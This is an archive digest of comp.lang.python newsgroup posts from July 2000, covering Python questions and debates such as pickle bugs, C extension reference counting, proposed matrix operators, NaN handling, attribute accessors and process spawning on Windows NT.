From thiele at muc.das-werk.de  Tue Jul 11 10:15:13 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Tue, 11 Jul 2000 16:15:13 +0200
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de> <bl66qcg4b5.fsf@bitdiddle.concentric.net>
Message-ID: <396B2BF1.22A55DE9@muc.das-werk.de>

class X:
     def __init__(self, s):
          self.s = s

I used only this simple class for testing. I forgot to copy it in the
example.

My debugging ends at the call to marshal.dumps()/loads() in the
(Un-)Pickler class.



From aahz at netcom.com  Sat Jul 22 00:13:39 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 22 Jul 2000 04:13:39 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com>
Message-ID: <8lb71j$gkm$1@slb7.atl.mindspring.net>

In article <slrn8nhndr.qn.hzhu at rocket.knowledgetrack.com>,
Huaiyu Zhu <NO_SPAM_hzhu at knowledgetrack_dot_com> wrote:
>
>number .+ matrix 
>
>illigal, which can be done by leaving  __rdotadd__ undefined.

No, no, no.  No runtime errors based on syntactical ambiguity.  Remember
that the above example is not the ambiguous one, it's "number.+matrix"
with no spaces.  It just doesn't work, and I guarantee you'll get a
virulent reaction from long-term Pythonistas if you push this at all.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From Armin at Steinhoff_de  Thu Jul  6 15:06:17 2000
From: Armin at Steinhoff_de (Armin Steinhoff)
Date: 6 Jul 2000 12:06:17 -0700
Subject: Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu>
Message-ID: <8k2lb9$1lra@drn.newsguy.com>

Hello!

In article <39649D5C.F1652171 at seatech.fau.edu>, bdupire says...
>
>I already posted this message on www.deja.com but as it doesn't appear
>in the newsgroup, I repost it here.
>
>My aim is to write an extension module to access functions in C which
>"get" and "set" some structures from/in shared memory.
>
> In order to do this, I implemented the following programs:
> *    structure.py
> *    test_API.c
>
> It works well when I set the structure the first time, but not a second
>time I have got the following (run-time) error... did I miss something?

Just a proposal: set CFLAGS to -g -Od, make clean, make, wd python and
set a break point in your module ... then you got the changes to see the
details.

>
>
> >>> import structure
> The structure is now:
> name Benoit
> age 22
> rate 3.141500
>
>
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
>   File "structure.py", line 19, in ?
>     test_API.setstruct(packed)
> TypeError: argument 1: expected string,
>                                         found

Strange ... check the LDFLAGS in ./Modules and increase the stack size by 
-N128k (128kB) e.g. .... 32k is probbably not enough.

>
>
>
>
> I am working with Python 1.5.2 on QNX 4.25
>test_API.c  is therefore statically linked with Python as dynamic
>linking is not possible on QNX.
>
>
>
> file : structure.py
> -----------------------------------------
>
> import struct
> import test_API
>
> #1st  try
> fmt="20sif"
> a="Benoit"
> b=22
> c=3.1415
> packed=struct.pack(fmt,a,b,c)
> test_API.setstruct(packed)
>
> #2nd try
> a="Ben"
> b=23
> c=3.1417
> packed=struct.pack(fmt,a,b,c)
> test_API.setstruct(packed)
>
>
> file: test_API.c
> --------------------------------------
> #include <stdio.h>
> #include "Python.h"
>
> typedef struct{
> char  name[20];
> int  age;
> float  rate;
> } examplestruct;
>
>
> examplestruct * example;
>
>
> static void  print_struct()
> {
> printf("The structure is now: \n");
> printf("name %s\n",example->name);
> printf("age %i\n",example->age);
> printf("rate %f\n", example->rate);
> }
>
>
> static PyObject * test_setstruct(PyObject * self, PyObject * args) {
> PyObject * string_from_python;
>
> if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
>
> example= (examplestruct *) PyString_AsString(string_from_python);
>Py_DECREF(string_from_python);
> print_struct();
>
> Py_INCREF(Py_None);
> return Py_None;
> }
>
>
> static PyObject * test_getstruct(PyObject * self, PyObject * args) {
> /* if there are any arguments */
> if (!PyArg_NoArgs(args))
>   return NULL;
> return PyString_FromString(example);

Py_DECREF removes that object ... so it is not clear what 'example' is
referencing in 'test_getstruct'.

Greetings

Armin



From bdupire at seatech.fau.edu  Fri Jul 14 09:57:06 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Fri, 14 Jul 2000 09:57:06 -0400
Subject: find -name *.ext in Python
Message-ID: <396F1C32.9A1CE891@seatech.fau.edu>

I wrote a simple Python script to perform the Unix function
find -name *.ext
on a NT system.
I would like to know if there is a way to simplify it (or to perfect
it).

--------------------------------------------------
usage : search <path> <extension>
Ex: search.extension('e:','doc')
--------------------------------------------------

import os, sys
from stat import *
from string import lower

_ext=""
_output=sys.stdout

def extension(dir,ext):
    """ usage: : search <path> <extension>\nEx:
search.extension('e:','doc')"""
    global _ext, _output
    _ext=lower(ext)
    _output=open("c:\\logdoc.txt","w")
    _search(dir)
    _output.close()

def _search(dir):
     print dir
 for f in os.listdir(dir):
  pathname ="%s\\%s" %(dir,f)
# pathname=os.path.join(dir,os.sep,f) doesn't work.....
  mode = os.stat(pathname)[ST_MODE]
              if S_ISDIR(mode):
               _search(pathname)
              elif S_ISREG(mode):
               if lower(pathname[-3:])==_ext:
                _output.write("%s\n" %(pathname[:-4]))




From SBrunning at trisystems.co.uk  Fri Jul 14 03:50:47 2000
From: SBrunning at trisystems.co.uk (Simon Brunning)
Date: Fri, 14 Jul 2000 08:50:47 +0100
Subject: python cookbook
Message-ID: <31575A892FF6D1118F5800600846864D4C703E@intrepid>

>I have a copy of O'Reilly's book, "Perl Cookbook" , and I'm looking for
>an equivalent Python cookbook.  A book that has recipe's for doing
>a variety of different tasks in Python, such as socket programming and
>web automation.
>
>Any suggestions?

The closest that I have come across is Andrew Kuchling's 'Python Grimoire',
at <http://starship.python.net/crew/amk/grimoire/html/grimoire.html>, but
it's not currently being maintained.

There was also talk of putting together an exact equivalent - see
<http://sourceforge.net/project/?group_id=6064>, but it's all a bit quiet.
Which is a shame, 'cos it would be *very* handy for a newbie like me...

Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning at trisystems.co.uk




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.



From olivierS.dagenaisP at canadaA.comM  Mon Jul 24 13:12:34 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 24 Jul 2000 17:12:34 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <397C5DD3.437C4431@eecis.udel.edu> <397C6BD8.9BDBB174@prescod.net>
Message-ID: <6O_e5.26406$1h3.428478@news20.bellglobal.com>

It doesn't matter what it is called!  You don't like a name?  Python's
arbitrary binding allows you to use your own...  Isn't that what it was
intended for?

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III

"Paul Prescod" <paul at prescod.net> wrote in message
news:397C6BD8.9BDBB174 at prescod.net...
> Charles Boncelet wrote:
> >
> > ...
> >
> > What's wrong with "tuples"?  That's the term used by M.A.L. in
> > his package, mxtools.  It seems the most natural (and Pythonic)
> > to me.
>
> I also liked tuples but some complained that it was only one character
> away from "tuple". mktuples or maketuples would be better.
>
> --
>  Paul Prescod - Not encumbered by corporate consensus
> New from Computer Associates: "Software that can 'think', sold by
> marketers who choose not to."
>




From cg at gaia.cdg.acriter.nl  Tue Jul 25 16:45:19 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 25 Jul 2000 22:45:19 +0200
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <8lku8v$nf8$1@gaia.cdg.acriter.nl>

Jonathan  <theebh at yahoo.com> said:
>Hi, just finished going through the 'Learning Python' book, and the
>feeling that i get is that Python is really wierd(compared to other
>conventional languages like C++, Java, etc).
>
Intercal is weird (profoundly wierd, I'd say). Mostly everything else
is a serious attempt to make programmer's lifes easier. At best it is
perceived weirdness caused by where you come from (if you come from 
Fortran, Perl is /really/ weird).

-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From richard_chamberlain at my-deja.com  Wed Jul 19 07:12:48 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Wed, 19 Jul 2000 11:12:48 GMT
Subject: Canvas text - clipping instead of wrapping
References: <397583B4.52066F4E@proceryon.at>
Message-ID: <8l42f6$f28$1@nnrp1.deja.com>

Hi Horst,

text.config(wrap=NONE)

The options are NONE,WORD or CHAR.

Richard

In article <397583B4.52066F4E at proceryon.at>,
  Horst Gassner <horst at proceryon.at> wrote:
> Hello!
>
> (using Tkinter)
> Maybe a (too) simple question but I can not find the answer :-(
> Is it possible to clip text inside the canvas text item? The default
> behavior is wrapping text if the width attribute is set but I don't
like
> this in my special case.
>
> If clipping is not possible - which is the best workaround for doing
> this?
>
> Thank you in advance
> Horst
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From dale at out-think.NOSPAM.co.uk  Sun Jul  9 15:07:11 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Sun, 9 Jul 2000 20:07:11 +0100
Subject: Pythonwin 1.5.2
Message-ID: <8kaij5$c9s$1@supernews.com>

Is anyone else running this who has figured out how to select from the
pop-up keyword prompts without using the mouse?

I've tried all the obvious ones like ctrl-enter without success.

Thanks

Dale Strickland-Clark





From tismer at appliedbiometrics.com  Wed Jul  5 10:41:35 2000
From: tismer at appliedbiometrics.com (Christian Tismer)
Date: Wed, 05 Jul 2000 16:41:35 +0200
Subject: Compatibility between PythonWin and DISLIN
References: <39633408.80B5DFBC@ncmail.net>
Message-ID: <3963491F.70F3188D@appliedbiometrics.com>


Ted Mew wrote:
> 
> Has anyone tried to run the graphing package DISLIN using
> Mark Hammond's PythonWin 1.5.2?  Is DISLIN compatible with
> PythonWin?

No.
I just tried it; they appear to have some different
ideas about event handling. But this can't be too hard
to solve.

...
> I have made a cursory attempt to run DISLIN under PythonWin,
> but crashed in flames, unable to read memory locations.
> Since PythonWin is MS Windows based, I suspect DISLIN is
> attempting to run as an independent process or DOS-based
> program, but have little knowledge in this area.

With Py1.5.2 and Win2000, it doesn't crash. I tried the CURVE
demo. It works fine in a shell, showing its own DISLIN window.
In PythonWin, the window is created, but then both pyWin and
the new window seem to be waiting on each other.

No, DISLIN does not try to be a main program, but it maybe makes
some assumptions about event loops. I'll look into the code
if I find time.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at appliedbiometrics.com>
Applied Biometrics GmbH      :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
     where do you want to jump today?   http://www.stackless.com



From fcahoon at my-deja.com  Fri Jul  7 18:23:18 2000
From: fcahoon at my-deja.com (Forrest Cahoon)
Date: Fri, 07 Jul 2000 22:23:18 GMT
Subject: Making tabs illegal
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com>
Message-ID: <8k5l8d$9lr$1@nnrp1.deja.com>

In article <3950C0E2.7532D38 at sightreader.com>,
  Ken Seehof <kens at sightreader.com> wrote:
> [ ... ]
>
> As for the space/tab mixing issue, the answer is simple: Make tab an
> illegal character in python.  Problem solved.
>

Has anyone tried to patch the python sources to do this?  I'm too
uncomfortable with the tab/space ambiguity to do serious work in python
(in a team environment with programmers of varying skill levels) but
this would *totally* solve it for me.

I'd love it if I could just #define TABS_ARE_EVIL when I build the
python interpreter and be done with it.

I'd still allow tabs in interactive python sessions, and just disallow
them in files.

I started to look at the python sources to do this myself, but I'm sure,
since I'm totally unfamiliar with the internals at this point, my
solution would probably be an ugly hack.

Is anyone who's more familiar with the code interested in providing a
patch like this?

f



Sent via Deja.com http://www.deja.com/
Before you buy.


From mwh21 at cam.ac.uk  Wed Jul 12 15:41:28 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 12 Jul 2000 20:41:28 +0100
Subject: Is there a searchable archive of c.l.py
References: <Gj185.6536$Tb7.39716@news-server.bigpond.net.au>
Message-ID: <m3g0pfqgpj.fsf@atrus.jesus.cam.ac.uk>

"Neil Hodgson" <neilh at scintilla.org> writes:

>    When the recent thread on Aspect Oriented Programming started, I tried to
> find some earlier discussion of the subject that I remembered. I knew that
> Deja had dropped most of its older archives but tried anyway. The Python.org
> site recommended eGroups but while this has a complete record, searches do
> not go back very far. Maybe it is only partially indexed. None of the other
> sources were searchable. And none had a good way to download a large block
> of the archives so I could run a search on my own machine.
> 
>    Is there a sensibly searchable archive anywhere? In the future we will
> need this resource. Otherwise how will we know how we beat those nanoviruses
> back in '97?
> 

I fouund some *really* old archives here:

ftp://ftp.python.org/pub/python/mail/

not sure I can help you on 1995 - 1997.

Cheers,
M.

-- 
  I saw `cout' being shifted "Hello world" times to the left and
  stopped right there.                                -- Steve Gonedes


From grey at despair.rpglink.com  Fri Jul 28 20:50:46 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 00:50:46 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com> <39822757.A5803B9B@alcyone.com>
Message-ID: <slrn8o4af3.7dm.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 17:37:43 -0700, Erik Max Francis <max at alcyone.com> wrote:
>>     Mmmm, in as far as I can read that, yes.  It is the operation that
>> determines the type of the data, not the data in and of itself.

>Not in a strongly typed language like Python, it doesn't.

    Pardon my french but... no shit sherlock.  That has been my point all the
long.  I feel that such a thing, as is somewhat evident in Perl, is not the
bad thing that some people in Python make it out to be.  I never once claimed
that Python did it.  

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From aahz at netcom.com  Mon Jul 17 16:37:31 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 17 Jul 2000 20:37:31 GMT
Subject: newbie unimpressed...
References: <8kvp81$9q1$1@nnrp1.deja.com>
Message-ID: <8kvqqb$8e5$1@nntp9.atl.mindspring.net>

[rearranged]

In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com> wrote:
>
>(I'm using python 1.5.1 on Redhat 5.2)

I strongly recommend upgrading to Python 1.5.2.  The documentation is
much better, for starters.

>I'm serious.  The documentation really sucks.
>Example:  where is the % operator documented for strings?

Look in Library Reference, Built-in Types, More String Operations
(section 2.1.5.1 in the 1.5.2 docs).
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From shapr at uab.edu  Wed Jul  5 05:59:56 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 05 Jul 2000 09:59:56 GMT
Subject: GUI framework with TreeView
References: <3967f81e.23966859@nntp.interaccess.com>
Message-ID: <3963091F.CC541AF@uab.edu>

Thaddeus L Olczyk wrote:
> 
> I need a "free" gui framework that runs on both Windows and UNIX
> ( so that lets out QT ) and gives me a component similr to Microsofts
> TreeView. Does anyone know of such a thing?

There's a Tree widget in IDLE that's quite nice looking.
-- 
sHae mAtijs eRisson (sHae at wEbwitchEs.coM) gEnius fOr hIre


From moron at Glue.umd.edu.bbs  Mon Jul 17 20:50:01 2000
From: moron at Glue.umd.edu.bbs (moron at Glue.umd.edu.bbs)
Date: 18 Jul 2000 00:50:01 GMT
Subject: Does Python have "not a number" floating point values?
Message-ID: <3bRVEQ$l1k@openbazaar.net>

(Huaiyu Zhu) said:
>On Mon, 17 Jul 2000 16:10:36 -0700, Russell E. Owen
><owen at astroNOJNK.washington.edu.invalid> wrote:
>>Does Python support any sort of floating point "not a number"
>>(e.g. IEEE infinity)?

Python floats inherit the behavior of your C platform's doubles, so on
an IEEE-754 system, they will act fairly IEEE-like, as Huaiyu
demonstrates:

>Inf = inf = 1e300**2
>NaN = nan = inf - inf

However, according to a recent post, the OpenVMS port of python uses
VAX-format math[1], which has less exponent range than IEEE.  I think
that that expression for Inf will not parse there.  I don't even know
if VAXen have Inf or NaN.

Warren Focke

[1] http://www.deja.com/[ST_rn=ps]/getdoc.xp?AN=640022415&fmt=text
--
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From shapr at uab.edu  Thu Jul 27 22:23:45 2000
From: shapr at uab.edu (Shae Erisson)
Date: Fri, 28 Jul 2000 02:23:45 GMT
Subject: C module question/sound related
References: <39809A25.678C7AAC@bresnanlink.net>
Message-ID: <3980EE28.39DA62EC@uab.edu>

Aaron Berg wrote:
> 
> Modifying the esound code a bit and building it as a module for python could give python an esound server solution to the reading and writing of sound in linux.

I'm not sure if you're talking about more than just a wrapper...

Here's a wrapper at least:
http://www.users.cloud9.net/~proteus/pyesd/welcome.html
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From m.faassen at vet.uu.nl  Sat Jul 29 11:50:16 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 15:50:16 GMT
Subject: GPL Compatability (was Re: The State of Python)
References: <Pine.GSO.4.10.10007290914210.18798-100000@sundial>
Message-ID: <8luufo$ags$3@newshost.accu.uu.nl>

Moshe Zadka <moshez at math.huji.ac.il> wrote:
> On 28 Jul 2000, Martijn Faassen wrote:

>> Moshe Zadka <moshez at math.huji.ac.il> wrote:
>> > On Fri, 28 Jul 2000, Paul Duffin wrote:
>> 
>> >> What does GPL compatible mean ? 
>> 
>> > It means that it can be relicenced as GPL.
>> 
>> Are you sure? I thought it meant you could legally link it to
>> GPL-ed software. That's what the whole Qt/KDE squabble is about, at least.

> Martijn, you keep forgetting I'm a mathematician -- we're almost as bad as
> lawyers. I *did* not say that for any licence X, Y is X compatible is Y
> can be relicenced as X. However, because of the viral nature of the GPL,
> what you said and what I said is equivalent.

I figured it would be something like that. I started examining the GPL
and thinking it all over, but since I'm not a laywer and not a mathematician
either, I just gave up for now. :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From jepler.lnk at lnk.ispi.net.bbs  Sun Jul 16 22:00:01 2000
From: jepler.lnk at lnk.ispi.net.bbs (jepler.lnk at lnk.ispi.net.bbs)
Date: 17 Jul 2000 02:00:01 GMT
Subject: proposal: accessor methods
Message-ID: <3bQhU3$j1k@openbazaar.net>

class SetAccessor:
    """
(I tested this class, then managed to enhance it with
default_set_only_by_accessor and __attributes__ in posting.  Sigh,
it's too hard to leave simple code alone!  It worked a minute ago,
I swear)

Subclasses may define methods with the name __set_(attribute name)__
to be called when attribute assignments occur.

Furthermore, if .default_set_only_by_accessor is true, assignment to
attributes for which accessors do not exist is an error.

__attributes__ lists attributes which can be set even for
default_set_only_by_accessor objects even in the absence of an accessor
function.
"""
    self.__attributes__ = ()
    self.default_set_only_by_accessor = 0
    def __setattr__(self, attr, value):
        accessor_method = getattr(self, "__set_%s__" % attr, None)
        if accessor_method:
            accessor_method(value)
        else:
            if self.default_set_only_by_accessor \
                    and not attr in self.__attributes__:
                raise TypeError, "read-only attribute %s" % attr
        else:
            self.__dict__[attr] = value

class GetAccessor:
    """
(I didn't actually test this class)

Subclasses may define methods with the name __get_(attribute name)__
to be called when undefined attribute references occcur.
"""
    def __getattr_(self, attr):
        accessor_method = getattr(self, "__get_%s__" % attr, None)
        if accessor_method():
            return accessor_method()
        else:
            raise AttributeError, attr


From gmcm at hypernet.com  Mon Jul  3 10:57:28 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 03 Jul 2000 14:57:28 GMT
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de> <8F665C79Agmcmhypernetcom@199.171.54.154> <39608FE0.35950741@muc.das-werk.de>
Message-ID: <8F666C0AEgmcmhypernetcom@199.171.54.154>

Thomas Thiele wrote: 

>>
>> You've got both technical and cultural problems here. There is no
>> fork. 
>
>I knew that. But I wonder how to start an other program. In UNIX I used
>fork() and exec().
>Just the same code like in popen2.popen3 but I copied the code and
>included some costumization.
>Does popen work on NT? Or is there an other way do get the same result
>(starting a program and
>read it's output)

All of the c runtime ways of starting processes have problems from annoying 
to catastrophic on Windows. The best of the lot is probably os.execv. 
os.popen works between well-behaved console processes on NT. If you want 
fine-grained control (including dup'ing your file descriptors etc.), use 
Win32process.CreateProcess from the Win32 extensions. Win32pipe.popen* use 
it to emulate os.popen*.

But the real question is why are you doing this? While it's a common and 
reasonably efficient way of doing things on *nix, it is both rare and very 
expensive on Windows.


From michael at stroeder.com  Sun Jul  9 07:36:23 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=C3=B6der?=)
Date: Sun, 09 Jul 2000 13:36:23 +0200
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <87zonvso9c.fsf@cachemir.echo-net.net> <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com>
Message-ID: <396863B7.875EA939@stroeder.com>

Tim Roberts wrote:
> 
> I'll say.  Am I correct in understanding that the basic purpose of
> "mod_snake" is to allow me to write other Apache modules in Python, while
> PyApache is a module which lets me run Python CGI scripts without 
> launching a separate interpreter,

Yes. PyApache resets the Python interpreter everytime which leads to
reloading of the modules for every hit.

With mod_python you can write Apache handlers but also wrap normal
CGI-BIN scripts without having to reload the modules for every hit.

Ciao, Michael.


From fig at oreilly.com.bbs  Mon Jul 17 18:00:02 2000
From: fig at oreilly.com.bbs (fig at oreilly.com.bbs)
Date: 17 Jul 2000 22:00:02 GMT
Subject: Internet Programming in Python
Message-ID: <3bRQg2$i9_@openbazaar.net>

Tony Johnson wrote:
>
> http://www.ora.com shuld carry this one...

No, we didn't publish that one.  I forget who did.

Stephen R. Figgins
O'Reilly Network


From owen at astroNOJNK.washington.edu.invalid.bbs  Mon Jul 17 19:30:03 2000
From: owen at astroNOJNK.washington.edu.invalid.bbs (owen at astroNOJNK.washington.edu.invalid.bbs)
Date: 17 Jul 2000 23:30:03 GMT
Subject: Does Python have "not a number" floating point values?
Message-ID: <3bRTAT$l4L@openbazaar.net>

Does Python support any sort of floating point "not a number" (e.g. IEEE
infinity)?

I realize I can just use None, but it's convenient to be able to tell
the difference between inifinity and undefined, and to be able to
perform a computation that may fail without raising an exception.

-- Russell


From paul at prescod.net  Sun Jul 23 14:20:22 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 13:20:22 -0500
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <slrn8nm2dg.an7.neelk@brick.cswv.com>
Message-ID: <397B3766.4F5E7BB3@prescod.net>

Neel Krishnaswami wrote:
> 
> Gordon McMillan <gmcm at hypernet.com> wrote:
> >
> > Of course you don't! Because Paul forgot to tell you that the first
> > proposal said that defining one or more of __set/get/del_XXX__
> > automatically defines all 3, with default behavior of "you can't do
> > that". So a base class defining __get_X__ and a derived class
> > defining __set_X__ will have the wrong semantics 50% of the time
> > whichever way you choose to handle it.
> 
> I'm afraid I still don't understand. If I wanted to use separate
> accessors/mutators, what would I do with the current proposal?

class x:
    def attr_x_foo( self, op, val ):
        if op=="get":
            self.__get_x()
        elif op=="set":
            self.__set_x(val)
        else:
            self.__del_x()

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From bjorn at roguewave.com  Sat Jul 22 00:33:45 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 21 Jul 2000 22:33:45 -0600
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com>
Message-ID: <39792429.BB6163E8@roguewave.com>

Huaiyu Zhu wrote:
[snip]
> So, perhaps we need to summarize the first round and concentrate on the
> remaining issues.  Here's my personal summary of the firs round (highly
> opinionated)
> 
> ========================================================================
> 
> We agree that there are two types of operators, matrixwise and elementwise.

Sure, but you're forgetting that many of us don't care enough about the
distinction that we'd like to see the Python core changed...

> We agree that they should have completely identical syntactic properties.
> They behave identically on numbers.

By the first sentence, I assume you mean they should have the same
precedence and associativity as their normal counterparts? The second
sentence means that 5 .+ 3 == 8?

> We agree that the new operators, whether elementwise or matrixwise, should
> not have default meaning on objects other than numbers.

I have seen no agreement on this, and I can only assume that if they're
made available new and "useful" meanings would be found for all of
lists, tuples, and dictionaries.  This has certainly been the case in
other languages.

-- bjorn

ps: did you read the APL/J pages?



From montagne at boora.com  Mon Jul  3 13:47:30 2000
From: montagne at boora.com (michael montagne)
Date: Mon, 3 Jul 2000 10:47:30 -0700
Subject: Web server executing Python scripts
References: <2B1262E83448D211AE4B00A0C9D61B030130125E@msgeuro1.creo.be> <80EB8C0C818F320D.2A60B0748B6BCCB3.6A1C28BCC752E3D8@lp.airnews.net>
Message-ID: <Tj485.94211$5k2.194544@dfw-read.news.verio.net>

How can I do that?  I'd like to report on whether certain programs are
installed on local PC's.

-mjm


"Cameron Laird" <claird at starbase.neosoft.com> wrote in message
news:80EB8C0C818F320D.2A60B0748B6BCCB3.6A1C28BCC752E3D8 at lp.airnews.net...
> In article <2B1262E83448D211AE4B00A0C9D61B030130125E at msgeuro1.creo.be>,
> Pieter Claerhout  <PClaerhout at CREO.BE> wrote:
> >Hello all,
> >
> >I'm working on a web based system, which consist of a whole
> >bunch of Python scripts, which connect to a bunch of machines
> >on a network (either using ethernet or dailup networking) and
> >execute some to code to for example get things from the
> >windows registry of those machines.
> >
> >What do you think would be the best idea?
> >- Use whatever webbrowser with CGI-scripting
> >- Use MS IIS with ASP (and Python)
> >- Use Zope to build the whole system?
> >
> >It should also connect to a database running on the host.
> >
> >
> >Pieter
> >
>
> Others have already demonstrated that there's a large
> ... situational, if not subjective, component to the
> decision about which Web server to use.
>
> Your first paragraph interests me.  Do you realize
> that Python can retrieve registry information directly
> through your LAN, without a need for installation of
> "some to code" on the reporting hosts?
> --
>
> Cameron Laird <claird at NeoSoft.com>
> Business:  http://www.Phaseit.net
> Personal:  http://starbase.neosoft.com/~claird/home.html




From gisle at ActiveState.com  Fri Jul 28 08:59:59 2000
From: gisle at ActiveState.com (Gisle Aas)
Date: 28 Jul 2000 14:59:59 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <LNBBLJKPBEHFEDALKOLCGEJDGMAA.tim_one@email.msn.com>
Message-ID: <m3n1j29zqo.fsf@eik.g.aas.no>

"Tim Peters" <tim_one at email.msn.com> writes:

> [Steve Lamb]
> > ...
> > I just don't understand how people can advocate for types and the
> > restrictions they impose while, on the other hand, embracing a
> > language that is free enough to shoot yourself in the foot by
> > reassigning None.
> 
> Frankly, I have trouble understanding that too.  Yet here we are, year after
> year!
> 
> [Chris Lawrence ]
> > Hmm, works in JPython too.  And Python 2.0b1.  Maybe it's a feature ;-)
> >
> > Frankly, I don't know how you'd get None back.
> 
> If you really must,
> 
>     import __builtin__
>     None = __builtin__.None
> 
> Same as for any other builtin you go out of your way to destroy.  In the
> case of None, though, simpler tricks will suffice, like
> 
>     None = [].sort()

Even simpler is

   del(None)

-- 
Gisle Aas


From moshez at math.huji.ac.il  Wed Jul 19 06:03:05 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 19 Jul 2000 13:03:05 +0300 (IDT)
Subject: Toplevel "test()" functions in standard library
In-Reply-To: <14709.31813.259826.332843@temoleh.chem.uu.nl>
Message-ID: <Pine.GSO.4.10.10007191300510.20546-100000@sundial>

On Wed, 19 Jul 2000, Rob W. W. Hooft wrote:

> >>>>> "MZ" == Moshe Zadka <moshez at math.huji.ac.il> writes:
> 
>  >> Going one step further: Should all of these "test()" and "_test()"
>  >> routines be in the code library at all, even now that we have a
>  >> complete test engine?
> 
>  MZ> Yes! This is a preliminary test, which should be available to
>  MZ> every user of the library. If you're optimizing the few KB it
>  MZ> takes, then you're not using Python correctly.
> 
